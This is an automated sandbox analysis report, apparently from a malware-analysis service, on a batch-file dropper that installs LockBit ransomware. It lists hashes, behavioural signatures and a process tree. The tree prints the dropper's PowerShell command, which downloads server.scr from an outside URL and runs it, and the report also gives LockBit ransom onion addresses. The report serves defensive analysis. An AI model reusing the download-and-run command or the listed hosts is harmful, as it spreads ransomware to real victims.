Analysis
-
max time kernel
149s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
04-09-2024 14:27
Static task
static1
Behavioral task
behavioral1
Sample
Dropper.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Dropper.bat
Resource
win10v2004-20240802-en
General
-
Target
Dropper.bat
-
Size
470B
-
MD5
8073ff57f855d5cd51346f011933d9fb
-
SHA1
d24fc282fb660945b87e1c41860a031f6e7ec9f6
-
SHA256
6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
-
SHA512
9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610
Malware Config
Extracted
https://master-repogen.vercel.app/file/server.scr
Extracted
C:\wlJ8FiR2h.README.txt
lockbit
http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion
http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion
http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion
http://lockbitsupp.uz
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
Signatures
-
Lockbit
Ransomware family with multiple variants released since late 2019.
-
Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
resource yara_rule behavioral2/files/0x000a0000000234c5-18.dat family_lockbit -
Renames multiple (615) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Blocklisted process makes network request 1 IoCs
flow pid Process 5 3704 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation F9D2.tmp -
Executes dropped EXE 2 IoCs
pid Process 1588 server.scr 1316 F9D2.tmp -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
pid Process 3704 powershell.exe -
Drops desktop.ini file(s) 2 IoCs
description ioc Process File opened for modification C:\$Recycle.Bin\S-1-5-21-1194130065-3471212556-1656947724-1000\desktop.ini server.scr File opened for modification F:\$RECYCLE.BIN\S-1-5-21-1194130065-3471212556-1656947724-1000\desktop.ini server.scr -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\spool\PRINTERS\00002.SPL splwow64.exe File created C:\Windows\system32\spool\PRINTERS\PP39zxcdgjr39kzh9_lxliroozd.TMP printfilterpipelinesvc.exe File created C:\Windows\system32\spool\PRINTERS\PP_0we0458bzr2xcc6pbf4vzlpb.TMP printfilterpipelinesvc.exe File created C:\Windows\system32\spool\PRINTERS\PPcx93gp20fwfp3ezzis_0d1dbc.TMP printfilterpipelinesvc.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\wlJ8FiR2h.bmp" server.scr Set value (str) \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\wlJ8FiR2h.bmp" server.scr -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 1316 F9D2.tmp -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language server.scr Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language F9D2.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 ONENOTE.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz ONENOTE.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ONENOTE.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS ONENOTE.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily ONENOTE.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU ONENOTE.EXE -
Modifies Control Panel 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\Desktop server.scr Set value (str) \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\Desktop\WallpaperStyle = "10" server.scr -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.wlJ8FiR2h server.scr Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.wlJ8FiR2h\ = "wlJ8FiR2h" server.scr Key created \REGISTRY\MACHINE\SOFTWARE\Classes\wlJ8FiR2h\DefaultIcon server.scr Key created \REGISTRY\MACHINE\SOFTWARE\Classes\wlJ8FiR2h server.scr Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\wlJ8FiR2h\DefaultIcon\ = "C:\\ProgramData\\wlJ8FiR2h.ico" server.scr -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3704 powershell.exe 3704 powershell.exe 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr 1588 server.scr -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3704 powershell.exe Token: SeAssignPrimaryTokenPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeDebugPrivilege 1588 server.scr Token: 36 1588 server.scr Token: SeImpersonatePrivilege 1588 server.scr Token: SeIncBasePriorityPrivilege 1588 server.scr Token: SeIncreaseQuotaPrivilege 1588 server.scr Token: 33 1588 server.scr Token: SeManageVolumePrivilege 1588 server.scr Token: SeProfSingleProcessPrivilege 1588 server.scr Token: SeRestorePrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSystemProfilePrivilege 1588 server.scr Token: SeTakeOwnershipPrivilege 1588 server.scr Token: SeShutdownPrivilege 1588 server.scr Token: SeDebugPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeBackupPrivilege 1588 server.scr Token: SeSecurityPrivilege 1588 server.scr -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE 4612 ONENOTE.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 4756 wrote to memory of 3704 4756 cmd.exe 84 PID 4756 wrote to memory of 3704 4756 cmd.exe 84 PID 4756 wrote to memory of 1588 4756 cmd.exe 88 PID 4756 wrote to memory of 1588 4756 cmd.exe 88 PID 4756 wrote to memory of 1588 4756 cmd.exe 88 PID 1588 wrote to memory of 4664 1588 server.scr 95 PID 1588 wrote to memory of 4664 1588 server.scr 95 PID 2760 wrote to memory of 4612 2760 printfilterpipelinesvc.exe 100 PID 2760 wrote to memory of 4612 2760 printfilterpipelinesvc.exe 100 PID 1588 wrote to memory of 1316 1588 server.scr 101 PID 1588 wrote to memory of 1316 1588 server.scr 101 PID 1588 wrote to memory of 1316 1588 server.scr 101 PID 1588 wrote to memory of 1316 1588 server.scr 101 PID 1316 wrote to memory of 4124 1316 F9D2.tmp 102 PID 1316 wrote to memory of 4124 1316 F9D2.tmp 102 PID 1316 wrote to memory of 4124 1316 F9D2.tmp 102
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Dropper.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4756 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3704
-
-
C:\Users\Admin\Downloads\server.scr"C:\Users\Admin\Downloads\server.scr"2⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1588 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
- Drops file in System32 directory
PID:4664
-
-
C:\ProgramData\F9D2.tmp"C:\ProgramData\F9D2.tmp"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\F9D2.tmp >> NUL4⤵
- System Location Discovery: System Language Discovery
PID:4124
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:1000
-
C:\Windows\system32\printfilterpipelinesvc.exeC:\Windows\system32\printfilterpipelinesvc.exe -Embedding1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE/insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{7A0354AD-2F9E-4FBB-97B9-AE16AB5EE0BE}.xps" 1336993363479200002⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:4612
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
129B
MD586e463cf8d1fbf67670299d622476912
SHA1dc16e4b35f189ab32b5d4b98125a72a0a1175490
SHA2567465dd7da9f59c5b8e9857a85782b5b15b2f0520fce02a14727fe89791eb7116
SHA512f3dc7dc150c79f53ffc1bead0ca16cd074a66aad0e6526277a90d76c5abd6420aeb002e8fb611131fcc69e78cc944d5ae74316c91951d5c8636bf35bb8831437
-
Filesize
14KB
MD5294e9f64cb1642dd89229fff0592856b
SHA197b148c27f3da29ba7b18d6aee8a0db9102f47c9
SHA256917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2
SHA512b87d531890bf1577b9b4af41dddb2cdbbfa164cf197bd5987df3a3075983645a3acba443e289b7bfd338422978a104f55298fbfe346872de0895bde44adc89cf
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD530b9bbcb51022db54c231f115aef5ab0
SHA10493cde83fba6d42316e96fc21c9cf03dc670808
SHA256d60dec18ee86c4208d1516024cb937f3476f6e887bd9b7a72eaae3ab1eaf5741
SHA512f5267a13b1a3e8268f9dbbf470b3d9314bbef1b5b2d0174df53469d7b95a8f889da5654b3a877471dabaf002c133e586a39bef28c6791b63e94a2e9fc91382c1
-
Filesize
4KB
MD5466dc1b14c3766b17f3225a65c5fc431
SHA1a6e60c392f5304f02101d5ca9e47f053c2aca4a2
SHA256d00ffbc42aea091b0f63c73472f5fc277914ef64ba1cdc716a5b80471d156b23
SHA512448fcf64e0b2065d5c38365bff761b0a8af3d70bd9d6a21aab39dc1a7009074bfc4c950f9a01b07c9077a62e6acf0d0df24dca1ea489adb9ead2525b108b6422
-
Filesize
150KB
MD5dc8061f4a913269fe17c32086676a006
SHA1b44bd9f8f5ba5c791ec202bdc56c2c9e0af39412
SHA256b997264e045b877ef09a14d32ed954cf8ee1777a25c3cadf23652cfc7047cc06
SHA51295dec628f52e26921119e360df2a69ee1d02316e2f7a67821121f0d1e41f05fef3075d1f0278ce7d90e27bb65d75fbef2a571ee03a4a52e40e0177efce918952
-
Filesize
150KB
MD57e503c206e57f0295da017914a957d04
SHA196c375b9c57292db73c7ef2f2df16cf7be1604bb
SHA256274844568a6a9ce334d71efeac21f528d7b54b2cd4377c978cc1270c6ad986c4
SHA512cd4889ae107c54df854042e030eb431664d4db9d6dc908d1f1910ca49b89d247222f9d19440fcc2d9a120c95b56cd694750072ab9486eea961b8c33391344c1c
-
Filesize
3KB
MD5b9674de0868a93e9121bdb1d02d80130
SHA179d692fd03d3110a4358e2cc7442af9517489f3f
SHA2569268d24e96639cf4c0e8d74f9769092b415015692ea528820faaded6fc5b052c
SHA512b3264ad33eddedb2c18da883e2345247c762adc8a604991fce931cba06b86c361d23fa121e79d6c69948a2d5b9c1613139f401b971360d9d684abb5a61543c02
-
Filesize
129B
MD57f0489e4f320dd8666cc4c72acf32b9a
SHA13a069581a88d4efa62d30627aaea655fa0c446eb
SHA256178cd69d6d0914c5a18017d4b77d57e25e4e78af9efa212ed3fc0577ad81e660
SHA512b12a1b2e6123e5241daafc7f0075326333900b2ef472793808e2411d398794604d515600e0a5424932b59d416cdf646012f7fd532ace32a560b079bbf887f765